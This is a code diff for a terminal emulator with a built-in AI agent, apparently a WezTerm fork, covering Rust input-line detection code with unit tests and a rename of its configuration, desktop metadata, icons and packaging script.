/// What the line holds after the cursor.
|
||||
pub fn after(&self) -> &str {
|
||||
&self.text[self.cursor..]
|
||||
}
|
||||
|
||||
/// Is the cursor at the end of what is typed? (Cells a shell blanked when
|
||||
/// something was deleted do not count.)
|
||||
pub fn at_end(&self) -> bool {
|
||||
self.after().trim().is_empty()
|
||||
}
|
||||
}
|
||||
|
||||
/// The run of input cells of a row that touches column `at`: the indices
|
||||
/// `[from, to)` into the row. A cell touches when it ends at `at` (the cursor
|
||||
/// is right after it) or starts at it.
|
||||
fn run_touching(row: &[Cell], at: usize) -> Option<(usize, usize)> {
|
||||
let mut k = None;
|
||||
for (i, cell) in row.iter().enumerate() {
|
||||
if !cell.input {
|
||||
continue;
|
||||
}
|
||||
let end = cell.col + cell.width.max(1);
|
||||
if at > 0 && cell.col < at && at <= end {
|
||||
// the cell just before the cursor wins over the one under it
|
||||
k = Some(i);
|
||||
break;
|
||||
}
|
||||
if cell.col == at && k.is_none() {
|
||||
k = Some(i);
|
||||
}
|
||||
}
|
||||
let k = k?;
|
||||
Some(extend_run(row, k))
|
||||
}
|
||||
|
||||
/// Grow a run from the cell of index `k` to every input cell that follows on
|
||||
/// without a gap, both ways.
|
||||
fn extend_run(row: &[Cell], k: usize) -> (usize, usize) {
|
||||
let mut from = k;
|
||||
while from > 0 {
|
||||
let prev = &row[from - 1];
|
||||
if prev.input && prev.col + prev.width.max(1) == row[from].col {
|
||||
from -= 1;
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
let mut to = k + 1;
|
||||
while to < row.len() {
|
||||
let prev = &row[to - 1];
|
||||
if row[to].input && prev.col + prev.width.max(1) == row[to].col {
|
||||
to += 1;
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
(from, to)
|
||||
}
|
||||
|
||||
/// Does a row hold input that shows something? (An input cell that is blank
|
||||
/// does not count: a line that was typed and wiped is empty.)
|
||||
pub fn row_has_input(row: &Row) -> bool {
|
||||
row.iter()
|
||||
.any(|cell| cell.input && !cell.text.trim().is_empty())
|
||||
}
|
||||
|
||||
/// Find the input line the cursor is on.
|
||||
///
|
||||
/// - `rows`: some rows of the screen, top to bottom, among them the cursor's;
|
||||
/// - `cursor_row`: the index of the cursor's row in `rows`, `cursor_col` its column;
|
||||
/// - `cols`: the width of the pane (a line that reaches it carries on in the next row);
|
||||
/// - `max_rows`: a line of more rows than this is not taken.
|
||||
///
|
||||
/// `None` when the cursor is not on an input line: no shell integration, a
|
||||
/// program other than the shell has the pane, or the line is too long.
|
||||
pub fn input_zone(
|
||||
rows: &[Row],
|
||||
cursor_row: usize,
|
||||
cursor_col: usize,
|
||||
cols: usize,
|
||||
max_rows: usize,
|
||||
) -> Option<Zone> {
|
||||
let row = rows.get(cursor_row)?;
|
||||
let (from, to) = run_touching(row, cursor_col)?;
|
||||
|
||||
// (row index, from, to), top to bottom
|
||||
let mut runs: Vec<(usize, usize, usize)> = vec![(cursor_row, from, to)];
|
||||
|
||||
// A run that starts in the first column carries on from the row above,
|
||||
// when that row's input reaches the last column.
|
||||
let mut r = cursor_row;
|
||||
let mut first_from = from;
|
||||
while r > 0 && rows[r][first_from].col == 0 {
|
||||
let above = &rows[r - 1];
|
||||
let last = match above.last() {
|
||||
Some(last) => last,
|
||||
None => break,
|
||||
};
|
||||
if !last.input || last.col + last.width.max(1) < cols {
|
||||
break;
|
||||
}
|
||||
let (f, t) = extend_run(above, above.len() - 1);
|
||||
runs.insert(0, (r - 1, f, t));
|
||||
if runs.len() > max_rows {
|
||||
return None;
|
||||
}
|
||||
r -= 1;
|
||||
first_from = f;
|
||||
}
|
||||
|
||||
// And one that reaches the last column carries on in the row below.
|
||||
let mut r = cursor_row;
|
||||
let mut last_to = to;
|
||||
while r + 1 < rows.len() {
|
||||
let last = &rows[r][last_to - 1];
|
||||
if last.col + last.width.max(1) < cols {
|
||||
break;
|
||||
}
|
||||
let below = &rows[r + 1];
|
||||
match below.first() {
|
||||
Some(first) if first.input && first.col == 0 => {}
|
||||
_ => break,
|
||||
}
|
||||
let (f, t) = extend_run(below, 0);
|
||||
runs.push((r + 1, f, t));
|
||||
if runs.len() > max_rows {
|
||||
return None;
|
||||
}
|
||||
r += 1;
|
||||
last_to = t;
|
||||
}
|
||||
|
||||
let mut text = String::new();
|
||||
let mut pieces = Vec::new();
|
||||
let mut cursor = None;
|
||||
for (r, f, t) in runs {
|
||||
for cell in &rows[r][f..t] {
|
||||
if cursor.is_none() && (r > cursor_row || (r == cursor_row && cell.col >= cursor_col)) {
|
||||
cursor = Some(text.len());
|
||||
}
|
||||
let start = text.len();
|
||||
text.push_str(&cell.text);
|
||||
pieces.push(Piece {
|
||||
row: r,
|
||||
col: cell.col,
|
||||
width: cell.width.max(1),
|
||||
start,
|
||||
end: text.len(),
|
||||
});
|
||||
}
|
||||
}
|
||||
let cursor = cursor.unwrap_or(text.len());
|
||||
Some(Zone {
|
||||
text,
|
||||
cursor,
|
||||
pieces,
|
||||
})
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
/// A row from a picture of it: `p` marks a prompt cell, `i` an input cell,
|
||||
/// `.` a cell nothing was written to. `text` gives the characters.
|
||||
fn row(text: &str, marks: &str) -> Row {
|
||||
let mut cells = Vec::new();
|
||||
for (col, (c, m)) in text.chars().zip(marks.chars()).enumerate() {
|
||||
if m == '.' {
|
||||
continue;
|
||||
}
|
||||
cells.push(Cell {
|
||||
col,
|
||||
width: 1,
|
||||
text: c.to_string(),
|
||||
input: m == 'i',
|
||||
});
|
||||
}
|
||||
cells
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn whether_a_row_holds_input() {
|
||||
assert!(row_has_input(&row("$ git st", "ppiiiiii")));
|
||||
assert!(!row_has_input(&row("$ ", "pp")), "an empty prompt");
|
||||
assert!(
|
||||
!row_has_input(&row("$ ", "ppiii")),
|
||||
"typed and wiped: blank input cells are no input"
|
||||
);
|
||||
assert!(!row_has_input(&Vec::new()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_line_after_the_prompt() {
|
||||
let rows = vec![row("$ git st", "ppiiiiii")];
|
||||
let z = input_zone(&rows, 0, 8, 80, 3).unwrap();
|
||||
assert_eq!(z.text, "git st");
|
||||
assert_eq!(z.typed(), "git st");
|
||||
assert_eq!(z.after(), "");
|
||||
assert!(z.at_end());
|
||||
assert_eq!(z.pieces.len(), 6);
|
||||
assert_eq!(z.pieces[0].col, 2);
|
||||
assert_eq!((z.pieces[5].start, z.pieces[5].end), (5, 6));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_cursor_inside_the_line() {
|
||||
let rows = vec![row("$ git st", "ppiiiiii")];
|
||||
let z = input_zone(&rows, 0, 5, 80, 3).unwrap();
|
||||
assert_eq!(z.typed(), "git");
|
||||
assert_eq!(z.after(), " st");
|
||||
assert!(!z.at_end());
|
||||
let z = input_zone(&rows, 0, 2, 80, 3).unwrap();
|
||||
assert_eq!(z.typed(), "", "at the start of the line");
|
||||
assert_eq!(z.after(), "git st");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn cells_blanked_by_a_deletion_are_not_typed() {
|
||||
// "git status" typed, then the last four characters deleted
|
||||
let rows = vec![row("$ git st ", "ppiiiiiiiiii")];
|
||||
let z = input_zone(&rows, 0, 8, 80, 3).unwrap();
|
||||
assert_eq!(z.typed(), "git st");
|
||||
assert!(z.at_end());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_typed_space_at_the_end_is_typed() {
|
||||
let rows = vec![row("$ git ", "ppiiii")];
|
||||
let z = input_zone(&rows, 0, 6, 80, 3).unwrap();
|
||||
assert_eq!(z.typed(), "git ");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn no_input_cells_no_line() {
|
||||
// a fresh prompt, a program's own prompt, a shell without the integration
|
||||
assert_eq!(input_zone(&[row("$ ", "pp")], 0, 2, 80, 3), None);
|
||||
assert_eq!(
|
||||
input_zone(&[row(">>> x = 1", "ppppppppp")], 0, 9, 80, 3),
|
||||
None
|
||||
);
|
||||
assert_eq!(input_zone(&[row("", "")], 0, 0, 80, 3), None);
|
||||
assert_eq!(input_zone(&[], 0, 0, 80, 3), None);
|
||||
assert_eq!(input_zone(&[row("$ ls", "ppii")], 3, 4, 80, 3), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_command_above_is_another_line() {
|
||||
// `cd x` ran and printed nothing; a new prompt, "ls" typed
|
||||
let rows = vec![row("$ cd x", "ppiiii"), row("$ ls", "ppii")];
|
||||
let z = input_zone(&rows, 1, 4, 80, 3).unwrap();
|
||||
assert_eq!(z.text, "ls");
|
||||
// and the cursor on a row below a command that ran is on no line
|
||||
let rows = vec![row("$ cd x", "ppiiii"), row("", "")];
|
||||
assert_eq!(input_zone(&rows, 1, 0, 80, 3), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn something_drawn_further_right_is_not_the_line() {
|
||||
// a prompt part at the right edge, drawn by the shell after the line's start
|
||||
let rows = vec![row("$ ls 12:00", "ppii........iiiii")];
|
||||
let z = input_zone(&rows, 0, 4, 80, 3).unwrap();
|
||||
assert_eq!(z.text, "ls");
|
||||
assert!(z.at_end());
|
||||
// the cursor two columns past the end is not on the line
|
||||
assert_eq!(input_zone(&rows, 0, 6, 80, 3), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_line_that_wraps() {
|
||||
let rows = vec![
|
||||
row("$ abcdef", "ppiiiiii"),
|
||||
row("ghijklmn", "iiiiiiii"),
|
||||
row("op", "ii"),
|
||||
];
|
||||
let z = input_zone(&rows, 2, 2, 8, 3).unwrap();
|
||||
assert_eq!(z.text, "abcdefghijklmnop");
|
||||
assert!(z.at_end());
|
||||
assert_eq!(z.pieces[6].row, 1);
|
||||
assert_eq!(z.pieces[6].col, 0);
|
||||
// the cursor in the first row: the rows below belong to the line
|
||||
let z = input_zone(&rows, 0, 4, 8, 3).unwrap();
|
||||
assert_eq!(z.typed(), "ab");
|
||||
assert_eq!(z.after(), "cdefghijklmnop");
|
||||
// too many rows: not taken
|
||||
assert_eq!(input_zone(&rows, 2, 2, 8, 2), None);
|
||||
assert_eq!(input_zone(&rows, 0, 4, 8, 2), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_row_above_that_does_not_reach_the_edge_is_not_joined() {
|
||||
let rows = vec![row("$ abc", "ppiii"), row("def", "iii")];
|
||||
let z = input_zone(&rows, 1, 3, 8, 3).unwrap();
|
||||
assert_eq!(z.text, "def");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn wide_characters() {
|
||||
let rows = vec![vec![
|
||||
Cell {
|
||||
col: 0,
|
||||
width: 1,
|
||||
text: "$".to_string(),
|
||||
input: false,
|
||||
},
|
||||
Cell {
|
||||
col: 1,
|
||||
width: 2,
|
||||
text: "\u{4e2d}".to_string(),
|
||||
input: true,
|
||||
},
|
||||
Cell {
|
||||
col: 3,
|
||||
width: 1,
|
||||
text: "a".to_string(),
|
||||
input: true,
|
||||
},
|
||||
]];
|
||||
let z = input_zone(&rows, 0, 4, 80, 3).unwrap();
|
||||
assert_eq!(z.text, "\u{4e2d}a");
|
||||
assert_eq!(
|
||||
(z.pieces[0].start, z.pieces[0].end, z.pieces[0].width),
|
||||
(0, 3, 2)
|
||||
);
|
||||
let z = input_zone(&rows, 0, 3, 80, 3).unwrap();
|
||||
assert_eq!(z.typed(), "\u{4e2d}");
|
||||
}
|
||||
}
|
||||
@@ -1,8 +1,15 @@
|
||||
-- LLeMbas TTY: the configuration used when the person has none of their own
|
||||
-- ($XDG_CONFIG_HOME/llembas-tty/llembas-tty.lua or ~/.llembas-tty.lua).
|
||||
-- It is the terminal's defaults with the LLeMbas layer applied. A person's
|
||||
-- own file starts from the same four lines.
|
||||
-- LLeMbas TERM: the configuration used when the person has none of their own
|
||||
-- ($XDG_CONFIG_HOME/llembas-term/llembas-term.lua or ~/.llembas-term.lua).
|
||||
-- It is the terminal's defaults, a quiet tab bar, and the LLeMbas layer
|
||||
-- applied. A person's own file starts from the first two lines and the
|
||||
-- last two (README, *Configuration*); the three tab-bar lines are optional.
|
||||
local wezterm = require 'wezterm'
|
||||
local config = wezterm.config_builder()
|
||||
-- A quiet window: no tab bar while there is one tab, and when there are more a plain line of
|
||||
-- text at the bottom rather than a strip built into the window's frame. Tabs are opened, closed
|
||||
-- and walked by keys (CTRL+SHIFT+T, CTRL+SHIFT+W, CTRL+TAB) whether the bar shows or not.
|
||||
config.hide_tab_bar_if_only_one_tab = true
|
||||
config.use_fancy_tab_bar = false
|
||||
config.tab_bar_at_bottom = true
|
||||
require('llembas').apply(config)
|
||||
return config
|
||||
+1831
-133
File diff suppressed because it is too large.
Load diff
+2369
-199
File diff suppressed because it is too large.
Load diff
@@ -1,3 +1,3 @@
|
||||
# The verified LLeMbas CLI (scripts/fetch-cli.sh) and the packages built from it.
|
||||
# The packages built here.
|
||||
/bin/
|
||||
/dist/
|
||||
@@ -0,0 +1,31 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<component type="desktop-application">
|
||||
<content_rating type="oars-1.0" />
|
||||
<id>eu.llembas.term</id>
|
||||
<metadata_license>MIT</metadata_license>
|
||||
<project_license>MIT</project_license>
|
||||
<name>LLeMbas TERM</name>
|
||||
<summary>A terminal with LLeMbas built in</summary>
|
||||
<description>
|
||||
<p>
|
||||
LLeMbas TERM is a terminal emulator and multiplexer, a fork of WezTerm,
|
||||
with the LLeMbas agent built in. By default it is an ordinary terminal
|
||||
and nothing leaves the machine.
|
||||
</p>
|
||||
<p>
|
||||
On a key, the line you are on becomes a line for a question to LLeMbas.
|
||||
The answer shows beside your shell, and what the agent does in a shell
|
||||
is typed at your own prompt, where you see it. The command line has
|
||||
suggestions from your own history and colours, drawn by the terminal.
|
||||
</p>
|
||||
<p>
|
||||
The engine is the LLeMbas CLI and the editor is LLeMbas IDE, each
|
||||
installed on its own; the terminal uses the ones you have.
|
||||
</p>
|
||||
</description>
|
||||
<launchable type="desktop-id">eu.llembas.term.desktop</launchable>
|
||||
<url type="homepage">https://llembas.eu</url>
|
||||
<provides>
|
||||
<binary>llembas-term</binary>
|
||||
</provides>
|
||||
</component>
|
||||
+5
-5
@@ -1,11 +1,11 @@
|
||||
[Desktop Entry]
|
||||
Name=LLeMbas TTY
|
||||
Name=LLeMbas TERM
|
||||
Comment=A terminal with LLeMbas built in
|
||||
Keywords=shell;prompt;command;commandline;cmd;terminal;agent;
|
||||
Icon=eu.llembas.tty
|
||||
StartupWMClass=eu.llembas.tty
|
||||
TryExec=llembas-tty
|
||||
Exec=llembas-tty start --cwd .
|
||||
Icon=eu.llembas.term
|
||||
StartupWMClass=eu.llembas.term
|
||||
TryExec=llembas-term
|
||||
Exec=llembas-term start --cwd .
|
||||
Type=Application
|
||||
Categories=System;TerminalEmulator;Utility;
|
||||
Terminal=false
|
||||
@@ -1,26 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<component type="desktop-application">
|
||||
<content_rating type="oars-1.0" />
|
||||
<id>eu.llembas.tty</id>
|
||||
<metadata_license>MIT</metadata_license>
|
||||
<project_license>MIT</project_license>
|
||||
<name>LLeMbas TTY</name>
|
||||
<summary>A terminal with LLeMbas built in</summary>
|
||||
<description>
|
||||
<p>
|
||||
LLeMbas TTY is a terminal emulator and multiplexer, a fork of WezTerm,
|
||||
with the LLeMbas agent built in. By default it is an ordinary terminal
|
||||
and nothing leaves the machine.
|
||||
</p>
|
||||
<p>
|
||||
On a key, it asks the model a question together with the last commands
|
||||
of the pane and their output, starts or resumes LLeMbas sessions beside
|
||||
your shell, and shows the session's model, mode and state in a bar.
|
||||
</p>
|
||||
</description>
|
||||
<launchable type="desktop-id">eu.llembas.tty.desktop</launchable>
|
||||
<url type="homepage">https://llembas.eu</url>
|
||||
<provides>
|
||||
<binary>llembas-tty</binary>
|
||||
</provides>
|
||||
</component>
|
||||
File renamed without changes.
File renamed without changes.
File renamed without changes.
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="512" height="512" shape-rendering="crispEdges" role="img" aria-label="LLeMbas TERM"><title>LLeMbas TERM</title><rect width="24" height="24" rx="4.5" fill="#0B0D10" shape-rendering="geometricPrecision"/><rect x="12" y="2" width="5" height="1" fill="#0B0D10"/><rect x="10" y="3" width="2" height="1" fill="#0B0D10"/><rect x="12" y="3" width="1" height="1" fill="#B6F2A6"/><rect x="13" y="3" width="4" height="1" fill="#7EE081"/><rect x="17" y="3" width="1" height="1" fill="#0B0D10"/><rect x="8" y="4" width="2" height="1" fill="#0B0D10"/><rect x="10" y="4" width="2" height="1" fill="#B6F2A6"/><rect x="12" y="4" width="2" height="1" fill="#7EE081"/><rect x="14" y="4" width="2" height="1" fill="#D8FFD0"/><rect x="16" y="4" width="1" height="1" fill="#4FAE5A"/><rect x="17" y="4" width="1" height="1" fill="#0B0D10"/><rect x="7" y="5" width="1" height="1" fill="#0B0D10"/><rect x="8" y="5" width="3" height="1" fill="#B6F2A6"/><rect x="11" y="5" width="2" height="1" fill="#7EE081"/><rect x="13" y="5" width="2" height="1" fill="#D8FFD0"/><rect x="15" y="5" width="2" height="1" fill="#4FAE5A"/><rect x="17" y="5" width="1" height="1" fill="#0B0D10"/><rect x="7" y="6" width="1" height="1" fill="#0B0D10"/><rect x="8" y="6" width="2" height="1" fill="#B6F2A6"/><rect x="10" y="6" width="2" height="1" fill="#7EE081"/><rect x="12" y="6" width="2" height="1" fill="#D8FFD0"/><rect x="14" y="6" width="2" height="1" fill="#4FAE5A"/><rect x="16" y="6" width="1" height="1" fill="#0B0D10"/><rect x="6" y="7" width="1" height="1" fill="#0B0D10"/><rect x="7" y="7" width="2" height="1" fill="#B6F2A6"/><rect x="9" y="7" width="2" height="1" fill="#7EE081"/><rect x="11" y="7" width="2" height="1" fill="#D8FFD0"/><rect x="13" y="7" width="3" height="1" fill="#4FAE5A"/><rect x="16" y="7" width="1" height="1" fill="#0B0D10"/><rect x="6" y="8" width="1" height="1" fill="#0B0D10"/><rect x="7" y="8" width="1" height="1" fill="#B6F2A6"/><rect x="8" y="8" width="2" height="1" fill="#7EE081"/><rect x="10" y="8" width="2" height="1" fill="#D8FFD0"/><rect x="12" y="8" width="4" height="1" fill="#4FAE5A"/><rect x="16" y="8" width="1" height="1" fill="#0B0D10"/><rect x="5" y="9" width="1" height="1" fill="#0B0D10"/><rect x="6" y="9" width="1" height="1" fill="#B6F2A6"/><rect x="7" y="9" width="2" height="1" fill="#7EE081"/><rect x="9" y="9" width="2" height="1" fill="#D8FFD0"/><rect x="11" y="9" width="4" height="1" fill="#4FAE5A"/><rect x="15" y="9" width="1" height="1" fill="#0B0D10"/><rect x="5" y="10" width="1" height="1" fill="#0B0D10"/><rect x="6" y="10" width="2" height="1" fill="#7EE081"/><rect x="8" y="10" width="2" height="1" fill="#D8FFD0"/><rect x="10" y="10" width="4" height="1" fill="#4FAE5A"/><rect x="14" y="10" width="1" height="1" fill="#0B0D10"/><rect x="5" y="11" width="1" height="1" fill="#0B0D10"/><rect x="6" y="11" width="1" height="1" fill="#7EE081"/><rect x="7" y="11" width="2" height="1" fill="#D8FFD0"/><rect x="9" y="11" width="4" height="1" fill="#4FAE5A"/><rect x="13" y="11" width="1" height="1" fill="#0B0D10"/><rect x="5" y="12" width="1" height="1" fill="#0B0D10"/><rect x="6" y="12" width="2" height="1" fill="#D8FFD0"/><rect x="8" y="12" width="4" height="1" fill="#4FAE5A"/><rect x="12" y="12" width="1" height="1" fill="#0B0D10"/><rect x="5" y="13" width="1" height="1" fill="#0B0D10"/><rect x="6" y="13" width="1" height="1" fill="#7EE081"/><rect x="7" y="13" width="2" height="1" fill="#4FAE5A"/><rect x="9" y="13" width="3" height="1" fill="#0B0D10"/><rect x="4" y="14" width="1" height="1" fill="#0B0D10"/><rect x="5" y="14" width="1" height="1" fill="#4FAE5A"/><rect x="6" y="14" width="3" height="1" fill="#0B0D10"/><rect x="3" y="15" width="1" height="1" fill="#0B0D10"/><rect x="4" y="15" width="1" height="1" fill="#4FAE5A"/><rect x="5" y="15" width="1" height="1" fill="#0B0D10"/><rect x="2" y="16" width="1" height="1" fill="#0B0D10"/><rect x="3" y="16" width="1" height="1" fill="#4FAE5A"/><rect x="4" y="16" width="1" height="1" fill="#0B0D10"/><rect x="3" y="17" width="1" height="1" fill="#0B0D10"/><rect x="13" y="14" width="9" height="1" fill="#7BD88F"/><rect x="13" y="15" width="1" height="1" fill="#7BD88F"/><rect x="21" y="15" width="1" height="1" fill="#7BD88F"/><rect x="13" y="16" width="1" height="1" fill="#7BD88F"/><rect x="15" y="16" width="1" height="1" fill="#7BD88F"/><rect x="21" y="16" width="1" height="1" fill="#7BD88F"/><rect x="13" y="17" width="1" height="1" fill="#7BD88F"/><rect x="16" y="17" width="1" height="1" fill="#7BD88F"/><rect x="18" y="17" width="2" height="1" fill="#7BD88F"/><rect x="21" y="17" width="1" height="1" fill="#7BD88F"/><rect x="13" y="18" width="1" height="1" fill="#7BD88F"/><rect x="15" y="18" width="1" height="1" fill="#7BD88F"/><rect x="21" y="18" width="1" height="1" fill="#7BD88F"/><rect x="13" y="19" width="1" height="1" fill="#7BD88F"/><rect x="21" y="19" width="1" height="1" fill="#7BD88F"/><rect x="13" y="20" wiLine truncated
|
||||
|
After Width: | Height: | Size: 4.9 KiB |
@@ -1 +0,0 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="512" height="512" shape-rendering="crispEdges" role="img" aria-label="LLeMbas TTY"><title>LLeMbas TTY</title><rect width="24" height="24" rx="4.5" fill="#0B0D10" shape-rendering="geometricPrecision"/><rect x="12" y="2" width="5" height="1" fill="#0B0D10"/><rect x="10" y="3" width="2" height="1" fill="#0B0D10"/><rect x="12" y="3" width="1" height="1" fill="#B6F2A6"/><rect x="13" y="3" width="4" height="1" fill="#7EE081"/><rect x="17" y="3" width="1" height="1" fill="#0B0D10"/><rect x="8" y="4" width="2" height="1" fill="#0B0D10"/><rect x="10" y="4" width="2" height="1" fill="#B6F2A6"/><rect x="12" y="4" width="2" height="1" fill="#7EE081"/><rect x="14" y="4" width="2" height="1" fill="#D8FFD0"/><rect x="16" y="4" width="1" height="1" fill="#4FAE5A"/><rect x="17" y="4" width="1" height="1" fill="#0B0D10"/><rect x="7" y="5" width="1" height="1" fill="#0B0D10"/><rect x="8" y="5" width="3" height="1" fill="#B6F2A6"/><rect x="11" y="5" width="2" height="1" fill="#7EE081"/><rect x="13" y="5" width="2" height="1" fill="#D8FFD0"/><rect x="15" y="5" width="2" height="1" fill="#4FAE5A"/><rect x="17" y="5" width="1" height="1" fill="#0B0D10"/><rect x="7" y="6" width="1" height="1" fill="#0B0D10"/><rect x="8" y="6" width="2" height="1" fill="#B6F2A6"/><rect x="10" y="6" width="2" height="1" fill="#7EE081"/><rect x="12" y="6" width="2" height="1" fill="#D8FFD0"/><rect x="14" y="6" width="2" height="1" fill="#4FAE5A"/><rect x="16" y="6" width="1" height="1" fill="#0B0D10"/><rect x="6" y="7" width="1" height="1" fill="#0B0D10"/><rect x="7" y="7" width="2" height="1" fill="#B6F2A6"/><rect x="9" y="7" width="2" height="1" fill="#7EE081"/><rect x="11" y="7" width="2" height="1" fill="#D8FFD0"/><rect x="13" y="7" width="3" height="1" fill="#4FAE5A"/><rect x="16" y="7" width="1" height="1" fill="#0B0D10"/><rect x="6" y="8" width="1" height="1" fill="#0B0D10"/><rect x="7" y="8" width="1" height="1" fill="#B6F2A6"/><rect x="8" y="8" width="2" height="1" fill="#7EE081"/><rect x="10" y="8" width="2" height="1" fill="#D8FFD0"/><rect x="12" y="8" width="4" height="1" fill="#4FAE5A"/><rect x="16" y="8" width="1" height="1" fill="#0B0D10"/><rect x="5" y="9" width="1" height="1" fill="#0B0D10"/><rect x="6" y="9" width="1" height="1" fill="#B6F2A6"/><rect x="7" y="9" width="2" height="1" fill="#7EE081"/><rect x="9" y="9" width="2" height="1" fill="#D8FFD0"/><rect x="11" y="9" width="4" height="1" fill="#4FAE5A"/><rect x="15" y="9" width="1" height="1" fill="#0B0D10"/><rect x="5" y="10" width="1" height="1" fill="#0B0D10"/><rect x="6" y="10" width="2" height="1" fill="#7EE081"/><rect x="8" y="10" width="2" height="1" fill="#D8FFD0"/><rect x="10" y="10" width="4" height="1" fill="#4FAE5A"/><rect x="14" y="10" width="1" height="1" fill="#0B0D10"/><rect x="5" y="11" width="1" height="1" fill="#0B0D10"/><rect x="6" y="11" width="1" height="1" fill="#7EE081"/><rect x="7" y="11" width="2" height="1" fill="#D8FFD0"/><rect x="9" y="11" width="4" height="1" fill="#4FAE5A"/><rect x="13" y="11" width="1" height="1" fill="#0B0D10"/><rect x="5" y="12" width="1" height="1" fill="#0B0D10"/><rect x="6" y="12" width="2" height="1" fill="#D8FFD0"/><rect x="8" y="12" width="4" height="1" fill="#4FAE5A"/><rect x="12" y="12" width="1" height="1" fill="#0B0D10"/><rect x="5" y="13" width="1" height="1" fill="#0B0D10"/><rect x="6" y="13" width="1" height="1" fill="#7EE081"/><rect x="7" y="13" width="2" height="1" fill="#4FAE5A"/><rect x="9" y="13" width="3" height="1" fill="#0B0D10"/><rect x="4" y="14" width="1" height="1" fill="#0B0D10"/><rect x="5" y="14" width="1" height="1" fill="#4FAE5A"/><rect x="6" y="14" width="3" height="1" fill="#0B0D10"/><rect x="3" y="15" width="1" height="1" fill="#0B0D10"/><rect x="4" y="15" width="1" height="1" fill="#4FAE5A"/><rect x="5" y="15" width="1" height="1" fill="#0B0D10"/><rect x="2" y="16" width="1" height="1" fill="#0B0D10"/><rect x="3" y="16" width="1" height="1" fill="#4FAE5A"/><rect x="4" y="16" width="1" height="1" fill="#0B0D10"/><rect x="3" y="17" width="1" height="1" fill="#0B0D10"/><rect x="13" y="14" width="9" height="1" fill="#7BD88F"/><rect x="13" y="15" width="1" height="1" fill="#7BD88F"/><rect x="21" y="15" width="1" height="1" fill="#7BD88F"/><rect x="13" y="16" width="1" height="1" fill="#7BD88F"/><rect x="15" y="16" width="1" height="1" fill="#7BD88F"/><rect x="21" y="16" width="1" height="1" fill="#7BD88F"/><rect x="13" y="17" width="1" height="1" fill="#7BD88F"/><rect x="16" y="17" width="1" height="1" fill="#7BD88F"/><rect x="18" y="17" width="2" height="1" fill="#7BD88F"/><rect x="21" y="17" width="1" height="1" fill="#7BD88F"/><rect x="13" y="18" width="1" height="1" fill="#7BD88F"/><rect x="15" y="18" width="1" height="1" fill="#7BD88F"/><rect x="21" y="18" width="1" height="1" fill="#7BD88F"/><rect x="13" y="19" width="1" height="1" fill="#7BD88F"/><rect x="21" y="19" width="1" height="1" fill="#7BD88F"/><rect x="13" y="20" widtLine truncated
|
||||
|
Before Width: | Height: | Size: 4.9 KiB |
@@ -1,21 +1,21 @@
|
||||
#!/usr/bin/env bash
|
||||
# Package LLeMbas TTY for Linux from a finished build: a .deb and a tarball with the same tree.
|
||||
# Package LLeMbas TERM for Linux from a finished build: a .deb and a tarball with the same tree.
|
||||
#
|
||||
# llembas/packaging/package.sh [target-dir] [out-dir] (default: target, llembas/packaging/dist)
|
||||
#
|
||||
# Expects: the three release binaries in <target-dir>/release, and the verified LLeMbas CLI in
|
||||
# llembas/packaging/bin/lembas (scripts/fetch-cli.sh). Builds nothing itself.
|
||||
# Expects: the three release binaries in <target-dir>/release. Builds nothing itself.
|
||||
#
|
||||
# The tree (the tarball has it under llembas-tty-<version>/, the .deb under /):
|
||||
# usr/lib/llembas-tty/ llembas-tty, llembas-tty-gui, llembas-tty-mux-server, lembas
|
||||
# usr/bin/ links to the three terminal binaries (not to lembas: the CLI
|
||||
# a person installed themselves stays the one on PATH)
|
||||
# usr/share/llembas-tty/shell/ shell integration: llembas-tty.sh, wezterm.sh, autocomplete.*
|
||||
# usr/share/llembas-tty/lua/ the LLeMbas layer's source, to read (the binary has it built in)
|
||||
# The tree (the tarball has it under llembas-term-<version>/, the .deb under /):
|
||||
# usr/lib/llembas-term/ llembas-term, llembas-term-gui, llembas-term-mux-server, and
|
||||
# llembas-term-setup (installs the LLeMbas CLI and LLeMbas IDE
|
||||
# when they are missing; the package carries neither)
|
||||
# usr/bin/ links to those four
|
||||
# usr/share/llembas-term/shell/ shell integration: llembas-term.sh, wezterm.sh
|
||||
# usr/share/llembas-term/lua/ the LLeMbas layer's source, to read (the binary has it built in)
|
||||
# usr/share/applications, metainfo, icons/hicolor
|
||||
# usr/share/doc/llembas-tty/ licences: ours and WezTerm's (LICENSE.md, licenses/), the
|
||||
# CLI's (LICENSES-lembas.txt), README, CHANGELOG
|
||||
# etc/profile.d/llembas-tty.sh (.deb only)
|
||||
# usr/share/doc/llembas-term/ licences: ours and WezTerm's (LICENSE.md, licenses/), README,
|
||||
# CHANGELOG
|
||||
# etc/profile.d/llembas-term.sh (.deb only)
|
||||
set -euo pipefail
|
||||
cd "$(dirname "$0")/../.."
|
||||
|
||||
@@ -24,70 +24,68 @@ OUT="${2:-llembas/packaging/dist}"
|
||||
VERSION="$(tr -d '[:space:]' < VERSION)"
|
||||
ARCH="$(dpkg --print-architecture)"
|
||||
REL="$TARGET/release"
|
||||
CLI=llembas/packaging/bin/lembas
|
||||
|
||||
for b in llembas-tty llembas-tty-gui llembas-tty-mux-server; do
|
||||
for b in llembas-term llembas-term-gui llembas-term-mux-server; do
|
||||
[ -x "$REL/$b" ] || { echo "package: $REL/$b is not built" >&2; exit 1; }
|
||||
done
|
||||
[ -x "$CLI" ] || { echo "package: $CLI is missing (run scripts/fetch-cli.sh)" >&2; exit 1; }
|
||||
